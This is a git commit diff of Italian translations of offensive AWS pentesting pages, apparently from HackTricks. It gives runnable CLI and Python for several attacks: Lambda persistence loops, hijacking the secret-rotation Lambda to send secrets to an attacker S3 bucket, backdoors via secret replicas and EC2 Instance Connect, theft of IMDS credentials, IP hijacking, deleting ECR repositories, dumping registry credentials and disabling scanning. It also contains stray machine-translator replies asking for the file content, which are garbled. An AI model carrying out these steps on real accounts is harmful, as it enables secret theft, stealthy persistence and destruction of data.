Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-l

2026-07-28 22:51:09 -07:00 · 2025-10-23 13:04:16 +00:00
parent 3ce37d8fad
commit 0eba6961fb
18 changed files with 439 additions and 388 deletions
@@ -1,25 +1,27 @@
-# AWS - Lambda Persistenza di Auto-Loop Asincrono via Destinations + Recursion Allow
+# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow

-Abusa delle Destinations asincrone di Lambda insieme alla configurazione Recursion per far sì che una funzione si reinvichi continuamente senza uno scheduler esterno (no EventBridge, cron, ecc.). Di default Lambda interrompe i loop ricorsivi, ma impostando la recursion config su Allow li riattivi. Le Destinations consegnano lato servizio per gli invoke async, quindi una singola seed invoke crea un canale stealthy di heartbeat/backdoor senza codice. Opzionalmente limita la velocità con reserved concurrency per mantenere basso il rumore.
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Abusa delle Destinations asincrone di Lambda insieme alla configurazione Recursion per far sì che una funzione si re-invii continuamente senza uno scheduler esterno (nessun EventBridge, cron, ecc.). Di default, Lambda interrompe i loop ricorsivi, ma impostare la recursion config su Allow li riabilita. Le Destinations consegnano lato servizio per le invoke async, quindi una singola seed invoke crea un canale stealthy, senza codice, tipo heartbeat/backdoor. Opzionalmente limita con reserved concurrency per mantenere basso il rumore.

 Note
- Lambda non permette di configurare direttamente la funzione come sua stessa destination. Usa un function alias come destination e consenti all'execution role di invoke quell'alias.
- Permessi minimi: possibilità di leggere/aggiornare l'event invoke config e la recursion config della funzione target, pubblicare una version e gestire un alias, e aggiornare la policy dell'execution role della funzione per permettere lambda:InvokeFunction sull'alias.
+- Lambda non permette di configurare direttamente la funzione come sua stessa destination. Usa un function alias come destination e consenti all'execution role di invocare quell'alias.
+- Permessi minimi: capacità di leggere/aggiornare l'event invoke config e recursion config della funzione target, pubblicare una versione e gestire un alias, e aggiornare la policy dell'execution role della funzione per permettere lambda:InvokeFunction sull'alias.

-## Requisiti
+## Requirements
 - Region: us-east-1
 - Vars:
 - REGION=us-east-1
 - TARGET_FN=<target-lambda-name>

-## Passaggi
+## Steps

-1) Ottieni l'ARN della funzione e l'attuale impostazione Recursion
+1) Ottieni l'ARN della funzione e l'impostazione Recursion corrente
 ```
 FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text)
 aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true
 ```
-2) Pubblica una versione e crea/aggiorna un alias (usato come destinazione verso la stessa funzione)
+2) Pubblica una versione e crea/aggiorna un alias (usato come destinazione verso sé stesso)
 ```
 VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text)
 if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then
@@ -47,7 +49,7 @@ cat > /tmp/invoke-self-policy.json <<EOF
 EOF
 aws iam put-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --policy-document file:///tmp/invoke-self-policy.json --region $REGION
 ```
-4) Configurare async destination sull'alias (self via alias) e disabilitare i retries
+4) Configurare la destinazione asincrona sull'alias (se stesso tramite alias) e disabilitare i retry
 ```
 aws lambda put-function-event-invoke-config \
 --function-name "$TARGET_FN" \
@@ -58,7 +60,7 @@ aws lambda put-function-event-invoke-config \
 # Verify
 aws lambda get-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION --query DestinationConfig
 ```
-5) Permettere loop ricorsivi
+5) Consentire loop ricorsivi
 ```
 aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Allow --region $REGION
 aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION
@@ -78,7 +80,7 @@ aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20
 aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION
 ```
 ## Pulizia
-Interrompere il loop e rimuovere la persistence.
+Interrompi il loop e rimuovi la persistenza.
 ```
 aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION
 aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true
@@ -89,4 +91,5 @@ ROLE_NAME=<lambda-execution-role-name>
 aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true
 ```
 ## Impatto
- Un singolo async invoke fa sì che Lambda si reinvoci continuamente senza uno scheduler esterno, abilitando stealthy persistence/heartbeat. Reserved concurrency può limitare il rumore a una singola warm execution.
+- Una singola async invoke fa sì che Lambda si reinvoci continuamente senza uno scheduler esterno, permettendo stealthy persistence/heartbeat. Reserved concurrency può limitare il rumore a una singola warm execution.
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -1,4 +1,4 @@
-# AWS - Secrets Manager Persistenza
+# AWS - Secrets Manager Persistence

 {{#include ../../../../banners/hacktricks-training.md}}

@@ -12,13 +12,13 @@ Per maggiori informazioni consulta:

 ### Tramite Resource Policies

-È possibile **concedere l'accesso a secrets ad account esterni** tramite resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per maggiori informazioni. Nota che per **access a secret**, l'account esterno avrà anche **need access alla KMS key che cifra il secret**.
+È possibile **grant access to secrets to external accounts** tramite resource policies. Check the [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) per maggiori informazioni. Nota che per **access a secret**, l'account esterno avrà anche **need access to the KMS key encrypting the secret**.

 ### Tramite Secrets Rotate Lambda

-Per **ruotare i secrets** automaticamente viene invocata una **Lambda** configurata. Se un attacker potesse **change** il **code** potrebbe esfiltrare direttamente il nuovo secret a sé stesso.
+Per **rotate secrets** automaticamente viene chiamata una configurata **Lambda**. Se un attacker potesse **change** il **code** potrebbe direttamente **exfiltrate the new secret** verso sé stesso.

-Ecco come potrebbe apparire il lambda code per tale azione:
+This is how lambda code for such action could look like:
 ```python
 import boto3

@@ -48,34 +48,28 @@ import string
 password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
 return password
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
+### Sostituire la Lambda di rotazione con una funzione controllata dall'attaccante tramite RotateSecret

-
-
-
-
-### Swap the rotation Lambda to an attacker-controlled function via RotateSecret
-
-Abusa di `secretsmanager:RotateSecret` per ricollegare un secret a una Lambda di rotazione controllata dall'attaccante e innescare una rotazione immediata. La funzione malevola esfiltra le versioni del secret (AWSCURRENT/AWSPENDING) durante i passaggi di rotazione (createSecret/setSecret/testSecret/finishSecret) verso un sink dell'attaccante (es., S3 o HTTP esterno).
+Abusa di `secretsmanager:RotateSecret` per ricollegare un secret a una rotation Lambda controllata dall'attaccante e forzare una rotazione immediata. La funzione malevola esfiltra le versioni del secret (AWSCURRENT/AWSPENDING) durante i passaggi di rotazione (createSecret/setSecret/testSecret/finishSecret) verso una destinazione dell'attaccante (es. S3 o HTTP esterno).

 - Requirements
- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` on the attacker Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (or AttachRolePolicy) to provision the Lambda execution role with `secretsmanager:GetSecretValue` and preferably `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (so rotation keeps working), KMS `kms:Decrypt` for the secret KMS key, and `s3:PutObject` (or outbound egress) for exfiltration.
- A target secret id (`SecretId`) with rotation enabled or the ability to enable rotation.
+- Permissions: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` sulla Lambda dell'attaccante, `iam:CreateRole/PassRole/PutRolePolicy` (o AttachRolePolicy) per fornire il ruolo di esecuzione della Lambda con `secretsmanager:GetSecretValue` e preferibilmente `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (così la rotazione continua a funzionare), KMS `kms:Decrypt` per la KMS key del secret, e `s3:PutObject` (o egress in uscita) per l'esfiltrazione.
+- Un SecretId di destinazione (`SecretId`) con la rotazione abilitata o la possibilità di abilitarla.

 - Impact
- The attacker obtains the secret value(s) without modifying the legit rotation code. Only the rotation configuration is changed to point at the attacker Lambda. If not noticed, scheduled future rotations will continue to invoke the attacker’s function as well.
+- L'attaccante ottiene il/i valore/i del secret senza modificare il codice di rotazione legittimo. Viene cambiata solo la configurazione di rotazione per puntare alla Lambda dell'attaccante. Se non viene notato, le rotazioni programmate future continueranno a invocare la funzione dell'attaccante.

 - Attack steps (CLI)
-1) Prepare attacker sink and Lambda role
- Create S3 bucket for exfiltration and an execution role trusted by Lambda with permissions to read the secret and write to S3 (plus logs/KMS as needed).
-2) Deploy attacker Lambda that on each rotation step fetches the secret value(s) and writes them to S3. Minimal rotation logic can just copy AWSCURRENT to AWSPENDING and promote it in finishSecret to keep the service healthy.
-3) Rebind rotation and trigger
+1) Prepara la destinazione di esfiltrazione e il ruolo Lambda dell'attaccante
+- Crea un bucket S3 per l'esfiltrazione e un ruolo di esecuzione trusted da Lambda con i permessi per leggere il secret e scrivere su S3 (più logs/KMS come necessario).
+2) Deploy della Lambda dell'attaccante che ad ogni step di rotazione recupera il/i valore/i del secret e li scrive su S3. Una logica minima di rotazione può semplicemente copiare AWSCURRENT in AWSPENDING e promuoverla in finishSecret per mantenere il servizio funzionante.
+3) Ricollega la rotazione e attiva
 - `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
-4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
-5) (Optional) Restore the original rotation Lambda to reduce detection.
+4) Verifica l'esfiltrazione elencando il prefisso S3 per quel secret e ispezionando gli artifact JSON.
+5) (Optional) Ripristina la Lambda di rotazione originale per ridurre il rischio di rilevamento.

 - Example attacker Lambda (Python) exfiltrating to S3
- Environment: `EXFIL_BUCKET=<bucket>`
+- Ambiente: `EXFIL_BUCKET=<bucket>`
 - Handler: `lambda_function.lambda_handler`
 ```python
 import boto3, json, os, base64, datetime
@@ -102,18 +96,18 @@ write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ')
 # Minimal rotation (optional): copy current->pending and promote in finishSecret
 # (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
 ```
-### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
+### Version Stage Hijacking per persistenza nascosta (custom stage + fast AWSCURRENT flip)

-Abusa delle etichette di staging delle versioni di Secrets Manager per inserire una versione del secret controllata dall'attaccante e tenerla nascosta sotto uno stage personalizzato (per esempio, `ATTACKER`) mentre la produzione continua a usare l'originale `AWSCURRENT`. In qualsiasi momento, sposta `AWSCURRENT` sulla versione dell'attaccante per avvelenare i workload dipendenti, quindi ripristinalo per ridurre al minimo il rilevamento. Questo fornisce una persistenza backdoor furtiva e una rapida manipolazione del time-of-use senza cambiare il nome del secret o la configurazione di rotazione.
+Abusa delle etichette di stage di versione di Secrets Manager per inserire una versione del secret controllata dall'attaccante e mantenerla nascosta sotto uno stage personalizzato (per esempio, `ATTACKER`) mentre la produzione continua a usare l'originale `AWSCURRENT`. In qualsiasi momento, sposta `AWSCURRENT` sulla versione dell'attaccante per avvelenare i workload dipendenti, quindi ripristinala per minimizzare il rilevamento. Questo fornisce persistenza backdoor furtiva e una rapida manipolazione del time-of-use senza cambiare il nome del secret o la rotation config.

- Requisiti
- Autorizzazioni: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (per verifica)
- ID del secret di destinazione nella Region.
+- Requirements
+- Permissions: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (for verification)
+- Target secret id in the Region.

- Impatto
- Mantenere una versione nascosta e controllata dall'attaccante di un secret e commutare in modo atomico `AWSCURRENT` su di essa su richiesta, influenzando qualsiasi consumer che risolva lo stesso nome del secret. La commutazione e il rapido ripristino riducono la probabilità di rilevamento pur consentendo una compromissione al momento dell'uso.
+- Impact
+- Mantieni una versione nascosta e controllata dall'attaccante di un secret e commuta in modo atomico `AWSCURRENT` su di essa su richiesta, influenzando qualsiasi consumer che risolva lo stesso nome del secret. La commutazione e il rapido ripristino riducono la probabilità di rilevamento permettendo allo stesso tempo la compromissione al momento dell'uso.

- Passaggi dell'attacco (CLI)
+- Attack steps (CLI)
 - Preparazione
 - `export SECRET_ID=<target secret id or arn>`

@@ -168,20 +162,20 @@ aws secretsmanager update-secret-version-stage \
 </details>

 - Note
- Quando fornisci `--client-request-token`, Secrets Manager lo usa come `VersionId`. Aggiungere una nuova versione senza impostare esplicitamente `--version-stages` sposta `AWSCURRENT` alla nuova versione per impostazione predefinita e marca quella precedente come `AWSPREVIOUS`.
+- Quando fornisci `--client-request-token`, Secrets Manager lo usa come `VersionId`. Aggiungere una nuova versione senza impostare esplicitamente `--version-stages` sposta `AWSCURRENT` sulla nuova versione per default e marca quella precedente come `AWSPREVIOUS`.


 ### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)

-Abusa della replication multi-Region di Secrets Manager per creare una replica di un secret target in una Region meno monitorata, crittografarla con una chiave KMS controllata dall'attaccante in quella Region, quindi promuovere la replica a secret standalone e allegare una resource policy permissiva che conceda all'attaccante l'accesso in lettura. Il secret originale nella Region primaria resta invariato, fornendo un accesso duraturo e furtivo al valore del secret tramite la replica promossa, aggirando i vincoli KMS/policy sulla primaria.
+Abusa della replica multi-Region di Secrets Manager per creare una replica di un secret target in una Region meno monitorata, criptarla con una KMS key controllata dall'attacker in quella Region, quindi promuovere la replica a secret standalone e allegare una permissive resource policy che conceda all'attacker accesso in lettura. Il secret originale nella Region primaria rimane invariato, fornendo un accesso duraturo e stealthy al valore del secret tramite la replica promossa, bypassando i vincoli di KMS/policy sulla primaria.

 - Requisiti
 - Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
- Nella replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (o `kms:PutKeyPolicy`) per permettere al principal attaccante `kms:Decrypt`.
- Un principal attaccante (user/role) che riceva accesso in lettura al secret promosso.
+- Nella replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (o `kms:PutKeyPolicy`) per permettere al attacker principal `kms:Decrypt`.
+- Un attacker principal (user/role) per ricevere accesso in lettura al secret promosso.

 - Impatto
- Percorso di accesso cross-Region persistente al valore del secret tramite una replica standalone sotto un CMK KMS controllato dall'attaccante e una resource policy permissiva. Il secret primario nella Region originale resta intatto.
+- Percorso di accesso cross-Region persistente al valore del secret tramite una replica standalone sotto un KMS CMK controllato dall'attacker e una permissive resource policy. Il secret primario nella Region originale resta intatto.

 - Attacco (CLI)
 - Variabili
@@ -192,7 +186,7 @@ export SECRET_ID=<secret name or ARN in R1>
 export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
 export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
 ```
-1) Crea attacker-controlled KMS key nella replica Region
+1) Creare attacker-controlled KMS key nella Region di replica
 ```bash
 cat > /tmp/kms_policy.json <<'JSON'
 {"Version":"2012-10-17","Statement":[
@@ -218,7 +212,7 @@ NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID
 aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
 aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
 ```
-4) Allega una resource policy permissiva sul secret standalone in R2
+4) Allegare una resource policy permissiva al secret standalone in R2
 ```bash
 cat > /tmp/replica_policy.json <<JSON
 {"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
@@ -226,9 +220,9 @@ JSON
 aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
 aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
 ```
-5) Leggi il secret dal principal dell'attaccante in R2
+5) Leggi il secret dall'attacker principal in R2
 ```bash
 # Configure attacker credentials and read
 aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
 ```
-
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,13 +2,13 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-Abuse EC2 Instance Connect Endpoint (EIC Endpoint) to gain inbound SSH access to private EC2 instances (no public IP/bastion) by:
- Creare un EIC Endpoint all'interno della subnet target
+Sfruttare EC2 Instance Connect Endpoint (EIC Endpoint) per ottenere accesso SSH in ingresso a istanze EC2 private (no public IP/bastion) mediante:
+- Creazione di un EIC Endpoint all'interno della subnet target
 - Consentire SSH in ingresso sul target SG dallo SG dell'EIC Endpoint
- Iniettare una chiave pubblica SSH di breve durata (valida ~60 secondi) con `ec2-instance-connect:SendSSHPublicKey`
+- Iniettare una chiave pubblica SSH a breve durata (valida ~60 seconds) con `ec2-instance-connect:SendSSHPublicKey`
 - Aprire un tunnel EIC e pivotare verso l'istanza per rubare le credenziali dell'instance profile da IMDS

-Impatto: percorso di accesso remoto furtivo verso istanze EC2 private che bypassa bastions e le restrizioni sugli IP pubblici. L'attaccante può assumere l'instance profile e operare nell'account.
+Impatto: percorso di accesso remoto furtivo verso istanze EC2 private che bypassa bastion e restrizioni sui public IP. L'attaccante può assumere l'instance profile e operare nell'account.

 ## Requisiti
 - Permessi per:
@@ -27,7 +27,7 @@ export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
 # OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
 export OS_USER=ec2-user
 ```
-## Crea endpoint EIC
+## Crea EIC Endpoint
 ```bash
 aws ec2 create-instance-connect-endpoint \
 --subnet-id "$SUBNET_ID" \
@@ -51,7 +51,7 @@ aws ec2 authorize-security-group-ingress \
 --group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
 --source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
 ```
-## Iniettare una SSH key effimera e aprire un tunnel
+## Iniettare una chiave SSH effimera e aprire un tunnel
 ```bash
 # Generate throwaway key
 ssh-keygen -t ed25519 -f /tmp/eic -N ''
@@ -73,13 +73,13 @@ TUN_PID=$!; sleep 2
 # SSH via the tunnel (within the 60s window)
 ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
 ```
-## Prova di Post-exploitation (steal instance profile credentials)
+## Post-exploitation proof (rubare le credenziali dell'instance profile)
 ```bash
 # From the shell inside the instance
 curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
 curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
 ```
-I don’t have the contents of that file. Please paste the Markdown/HTML text from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md that you want translated, and I’ll return the Italian translation preserving all tags, code, links and paths exactly as requested.
+Per favore incolla il contenuto del file src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md che desideri tradurre.
 ```json
 {
 "Code": "Success",
@@ -109,5 +109,6 @@ aws ec2 delete-instance-connect-endpoint \
 --instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
 ```
 > Note
-> - La chiave SSH iniettata è valida solo per ~60 secondi; invia la chiave immediatamente prima di aprire il tunnel/SSH.
-> - `OS_USER` deve corrispondere all'AMI (ad es., `ubuntu` per Ubuntu, `ec2-user` per Amazon Linux 2).
+> - La chiave SSH iniettata è valida solo per ~60 secondi; invia la chiave subito prima di aprire il tunnel/SSH.
+> - `OS_USER` deve corrispondere all'AMI (ad esempio, `ubuntu` per Ubuntu, `ec2-user` per Amazon Linux 2).
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -2,30 +2,30 @@

 {{#include ../../../../banners/hacktricks-training.md}}

-Sfrutta `ec2:UnassignPrivateIpAddresses` e `ec2:AssignPrivateIpAddresses` per rubare l'indirizzo IP privato secondario di un'ENI vittima e spostarlo su un'ENI dell'attaccante nello stesso subnet/AZ. Molti servizi interni e security group limitano l'accesso in base a specifici indirizzi IP privati. Spostando quell'indirizzo secondario, l'attaccante si finge l'host di fiducia a livello L3 e può raggiungere i servizi in allowlist.
+Abuse `ec2:UnassignPrivateIpAddresses` and `ec2:AssignPrivateIpAddresses` per rubare l'indirizzo IP privato secondario di una ENI vittima e spostarlo su una ENI dell'attaccante nello stesso subnet/AZ. Molti servizi interni e security groups limitano l'accesso in base a IP privati specifici. Spostando quell'indirizzo secondario, l'attaccante si fa passare per l'host trusted a livello L3 e può raggiungere allowlisted services.

 Prerequisiti:
- Permessi: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` sull'ARN dell'ENI vittima, e `ec2:AssignPrivateIpAddresses` sull'ARN dell'ENI dell'attaccante.
- Entrambi gli ENI devono trovarsi nella stessa subnet/AZ. L'indirizzo target deve essere un IP secondario (il primario non può essere rimosso).
+- Permessi: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` sull'ARN della ENI vittima, e `ec2:AssignPrivateIpAddresses` sull'ARN della ENI dell'attaccante.
+- Entrambe le ENI devono essere nello stesso subnet/AZ. L'indirizzo target deve essere un IP secondario (l'IP primario non può essere rimosso).

 Variabili:
 - REGION=us-east-1
 - VICTIM_ENI=<eni-xxxxxxxx>
 - ATTACKER_ENI=<eni-yyyyyyyy>
- PROTECTED_SG=<sg-protected>   # SG on a target service that allows only $HIJACK_IP
+- PROTECTED_SG=<sg-protected>   # SG su un servizio target che permette solo $HIJACK_IP
 - PROTECTED_HOST=<private-dns-or-ip-of-protected-service>

 Passaggi:
-1) Scegli un indirizzo IP secondario dall'ENI vittima
+1) Seleziona un IP secondario dall'ENI vittima
 ```bash
 aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
 export HIJACK_IP=$(cat HIJACK_IP)
 ```
-2) Assicurati che l'host protetto permetta solo quell'IP (idempotent). Se usi SG-to-SG rules invece, salta.
+2) Assicurati che l'host protetto permetta solo quell'IP (idempotente). Se invece usi regole SG-to-SG, salta.
 ```bash
 aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
 ```
-3) Linea di base: dalla attacker instance, la richiesta a PROTECTED_HOST dovrebbe fallire senza spoofed source (es., tramite SSM/SSH)
+3) Linea di base: dall'attacker instance, la richiesta a PROTECTED_HOST dovrebbe fallire senza spoofed source (es., via SSM/SSH)
 ```bash
 curl -sS --max-time 3 http://$PROTECTED_HOST || true
 ```
@@ -33,7 +33,7 @@ curl -sS --max-time 3 http://$PROTECTED_HOST || true
 ```bash
 aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
 ```
-5) Assegna lo stesso IP all'ENI dell'attacker (su AWS CLI v1 aggiungi `--allow-reassignment`)
+5) Assegna lo stesso IP all'ENI dell'attaccante (su AWS CLI v1 aggiungi `--allow-reassignment`)
 ```bash
 aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
 ```
@@ -41,10 +41,11 @@ aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --pri
 ```bash
 aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
 ```
-7) Dalla attacker instance, source-bind all'hijacked IP per raggiungere l'host protetto (assicurati che l'IP sia configurato sul sistema operativo; in caso contrario, aggiungilo con `ip addr add $HIJACK_IP/<mask> dev eth0`)
+7) Dall'istanza dell'attaccante, source-bind to the hijacked IP per raggiungere l'host protetto (assicurati che l'IP sia configurato sul sistema operativo; in caso contrario, aggiungilo con `ip addr add $HIJACK_IP/<mask> dev eth0`)
 ```bash
 curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
 ```
-## Impact
- Bypass IP allowlists e impersonate trusted hosts all'interno della VPC spostando secondary private IPs tra ENIs nella stessa subnet/AZ.
- Raggiungere servizi interni che limitano l'accesso in base a specifiche source IPs, permettendo lateral movement e data access.
+## Impatto
+- Bypassare le allowlists IP e impersonare host di fiducia all'interno della VPC spostando secondary private IPs tra ENIs nello stesso subnet/AZ.
+- Raggiungere servizi interni che controllano l'accesso in base a specifici source IPs, consentendo lateral movement e data access.
+{{#include ../../../../banners/hacktricks-training.md}}
@@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens

 ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`

-Un attacker con una qualsiasi di queste autorizzazioni può **creare o modificare una lifecycle policy per eliminare tutte le immagini nel repository** e poi **cancellare l'intero ECR repository**. Ciò comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository.
+Un attaccante con una qualsiasi di queste autorizzazioni può **creare o modificare una policy del ciclo di vita per eliminare tutte le immagini nel repository** e poi **eliminare l'intero repository ECR**. Ciò comporterebbe la perdita di tutte le immagini dei container memorizzate nel repository.
 ```bash
 # Create a JSON file with the malicious lifecycle policy
 echo '{
@@ -90,27 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag
 # Delete multiple images from the ECR public repository
 aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
-
 ### Exfiltrate upstream registry credentials from ECR Pull‑Through Cache (PTC)

-Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, etc.), le credenziali upstream vengono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: `ecr-pullthroughcache/`. Gli operatori a volte concedono agli amministratori ECR ampio accesso in lettura a Secrets Manager, abilitando l'exfiltration delle credenziali e il loro riutilizzo al di fuori di AWS.
+Se ECR Pull‑Through Cache è configurato per registri upstream autenticati (Docker Hub, GHCR, ACR, ecc.), le credenziali upstream vengono memorizzate in AWS Secrets Manager con un prefisso di nome prevedibile: `ecr-pullthroughcache/`. Gli operatori a volte concedono agli amministratori ECR un ampio accesso in lettura a Secrets Manager, abilitando credential exfiltration e il riutilizzo delle credenziali al di fuori di AWS.

 Requisiti
 - secretsmanager:ListSecrets
 - secretsmanager:GetSecretValue

-Enumerare i segreti PTC candidati
+Enumerate candidate PTC secrets
 ```bash
 aws secretsmanager list-secrets \
 --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \
 --output text
 ```
-Esegui il dump dei segreti scoperti e analizza i campi comuni
+Scarica i secrets scoperti e analizza i campi comuni
 ```bash
 for s in $(aws secretsmanager list-secrets \
 --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do
@@ -120,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true
 jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true
 done
 ```
-Facoltativo: convalida leaked creds contro l'upstream (login in sola lettura)
+Opzionale: verificare leaked creds contro l'upstream (accesso in sola lettura)
 ```bash
 echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io
 ```
 Impatto
- La lettura di queste voci di Secrets Manager restituisce credenziali riutilizzabili del registry upstream (username/password or token), che possono essere sfruttate anche al di fuori di AWS per scaricare immagini private o accedere a repository aggiuntivi a seconda delle autorizzazioni upstream.
+- La lettura di queste voci di Secrets Manager fornisce credenziali riutilizzabili del registro upstream (username/password or token), che possono essere sfruttate al di fuori di AWS per pullare immagini private o accedere a repository aggiuntivi a seconda dei permessi upstream.


-### Registry-level stealth: disabilitare o degradare la scansione tramite `ecr:PutRegistryScanningConfiguration`
+### Stealth a livello di registry: disabilitare o degradare la scansione via `ecr:PutRegistryScanningConfiguration`

-Un attacker con permessi ECR a livello di registry può silenziosamente ridurre o disabilitare la scansione automatica delle vulnerabilità per ALL repositories impostando la registry scanning configuration su BASIC senza regole scan-on-push. Questo impedisce che i nuovi image pushes vengano scansionati automaticamente, nascondendo immagini vulnerabili o malevole.
+Un attaccante con permessi ECR a livello di registry può ridurre o disabilitare silenziosamente la scansione automatica delle vulnerabilità per TUTTI i repository impostando la configurazione di scanning del registry su BASIC senza regole di scan-on-push. Questo impedisce che le nuove push di immagini vengano scansionate automaticamente, nascondendo immagini vulnerabili o dannose.

 Requisiti
 - ecr:PutRegistryScanningConfiguration
 - ecr:GetRegistryScanningConfiguration
- ecr:PutImageScanningConfiguration (optional, per‑repo)
- ecr:DescribeImages, ecr:DescribeImageScanFindings (verification)
+- ecr:PutImageScanningConfiguration (opzionale, per-repo)
+- ecr:DescribeImages, ecr:DescribeImageScanFindings (verifica)

